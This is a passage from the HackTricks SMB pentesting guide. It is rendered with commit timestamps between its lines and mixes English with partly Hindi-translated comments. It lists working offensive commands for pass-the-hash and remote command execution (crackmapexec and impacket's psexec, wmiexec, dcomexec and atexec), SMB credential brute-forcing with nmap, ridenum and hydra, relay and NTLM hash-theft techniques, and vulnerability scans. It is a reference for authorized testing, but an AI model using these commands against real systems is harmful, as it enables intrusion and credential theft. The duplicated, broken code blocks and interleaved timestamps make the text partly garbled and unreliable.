crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID ब्रूट करें
2023-11-06 08:38:02 +00:00
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #पास-द-हैश करें
```
```
2022-10-04 23:18:19 +00:00
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\
2022-10-04 23:18:19 +00:00
**More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
2023-11-06 08:38:02 +00:00
#अगर कोई पासवर्ड नहीं दिया गया है, तो उसे पूछा जाएगा
./psexec.py [[domain/]username[:password]@]<targetName or address>
2023-11-06 08:38:02 +00:00
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #पास-द-हैश
psexec \\192.168.122.66 -u Administrator -p 123456Ww
2023-11-06 08:38:02 +00:00
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t #पास-द-हैश का उपयोग करें
```
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
2022-10-04 23:18:19 +00:00
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.**\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
2023-11-06 08:38:02 +00:00
#अगर कोई पासवर्ड नहीं दिया जाता है, तो उसके लिए प्रश्न पूछा जाएगा
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #पासवर्ड के लिए प्रश्न पूछेंगे
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #पास-द-हैश
#आप इस कमांड के अंत में एक CMD कमांड जो निष्पादित किया जाना है, ऐसा करने नहीं करते हैं तो एक आंशिक-संवादात्मक शैल मांगा जाएगा
```
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
```bash
2023-11-06 08:38:02 +00:00
#अगर कोई पासवर्ड नहीं दिया जाता है, तो उसे पूछा जाएगा
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
2023-11-06 08:38:02 +00:00
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #पास-द-हैश
#आप इस कमांड के अंत में एक CMD कमांड जो निष्पादित किया जाएगा, जो आप नहीं करते हैं तो एक अर्ध-संवादात्मक शैल दिखाई देगा
```
2022-10-04 23:18:19 +00:00
### [AtExec](../windows-hardening/ntlm/atexec.md)
Execute commands via the Task Scheduler (using _\pipe\atsvc_ via SMB).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
2023-11-06 08:38:02 +00:00
```
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
2023-11-06 08:38:02 +00:00
```
./atexec.py [[डोमेन/]उपयोगकर्ता[:पासवर्ड]@]<लक्षितन पत> "कमांड"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
```
2022-05-01 13:25:53 +00:00
## Impacket reference
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
2022-05-01 13:25:53 +00:00
## **Bruteforce users credentials**
**This is not recommended, you could block an account if you exceed the maximum allowed tries**
```bash
2023-11-06 08:38:02 +00:00
```
nmap --script smb-brute -p 445 <IP>
2023-11-06 08:38:02 +00:00
ridenum.py <IP> 500 50000 /root/passwds.txt #उन उपयोगकर्ताओं को प्राप्त करें जिनके रिड्स को bruteforcing करके और फिर प्रत्येक उपयोगकर्ता नाम को bruteforce करने का प्रयास करें
```
```
2022-05-01 13:25:53 +00:00
## SMB relay attack
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
2022-10-04 23:18:19 +00:00
[**More information about this attack here.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
2022-05-01 13:25:53 +00:00
## SMB-Trap
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
2022-07-13 11:11:15 +00:00
This happens with the functions:
* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream
Which are used by some browsers and tools (like Skype)
2022-10-04 23:18:19 +00:00
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
2022-05-01 13:25:53 +00:00
### SMBTrap using MitMf
2022-10-04 23:18:19 +00:00
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
2022-09-15 17:28:33 +00:00
## NTLM Theft
2022-10-04 23:18:19 +00:00
Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](pentesting-smb.md#smb-relay-attack).
2022-09-15 17:28:33 +00:00
2022-10-04 23:18:19 +00:00
[See: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
2022-09-15 17:28:33 +00:00
2022-05-01 13:25:53 +00:00
## HackTricks Automatic Commands
2021-08-12 13:30:40 +00:00
```
2021-08-12 13:30:40 +00:00
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
2021-08-15 18:12:30 +00:00
Entry_1:
2023-11-06 08:38:02 +00:00
Name: नोट्स
Description: SMB के लिए नोट्स
Note: |
जबकि पोर्ट 139 को तकनीकी रूप से 'NBT over IP' के रूप में जाना जाता है, पोर्ट 445 'SMB over IP' है। SMB का मतलब है 'सर्वर मैसेज ब्लॉक्स'। आधुनिक भाषा में सर्वर मैसेज ब्लॉक को सामान्य इंटरनेट फ़ाइल सिस्टम के रूप में भी जाना जाता है। यह सिस्टम मुख्य रूप से एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में कार्य करता है जिसका प्रयोग फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स और नेटवर्क पर नोडों के बीच संचार के लिए साझा पहुंच प्रदान करने के लिए किया जाता है।
#मैं हर बार जब भी खुला SMB पोर्ट देखता हूँ तो ये कमांड चलाता हूँ
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
2021-08-15 18:12:30 +00:00
Entry_2:
2023-11-06 08:38:02 +00:00
Name: Enum4Linux
Description: सामान्य SMB स्कैन
Command: enum4linux -a {IP}
2021-08-15 18:12:30 +00:00
Entry_3:
2023-11-06 08:38:02 +00:00
Name: Nmap SMB स्कैन 1
Description: Nmap के साथ SMB Vuln स्कैन
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
2021-08-15 18:12:30 +00:00
Entry_4:
2023-11-06 08:38:02 +00:00
Name: Nmap Smb स्कैन 2
Description: Nmap के साथ SMB Vuln स्कैन (कम विशिष्ट)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
2021-09-13 15:41:00 +00:00
Entry_5:
2023-11-06 08:38:02 +00:00
Name: हाइड्रा ब्रूट फ़ोर्स
Description: उपयोगकर्ता की आवश्यकता है
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
2023-11-06 08:38:02 +00:00
Name: SMB/SMB2 139/445 कंसोल्सलेस एमएफएस जांच
Description: एमएफएस चलाने की आवश्यकता नहीं है SMB/SMB2 139/445 जांच
Note: https://github.com/carlospolop/legion से लिया गया
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
2021-08-12 13:30:40 +00:00
```
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2022-10-02 19:15:35 +00:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2023-04-25 18:35:28 +00:00
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-12-05 22:29:21 +00:00
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>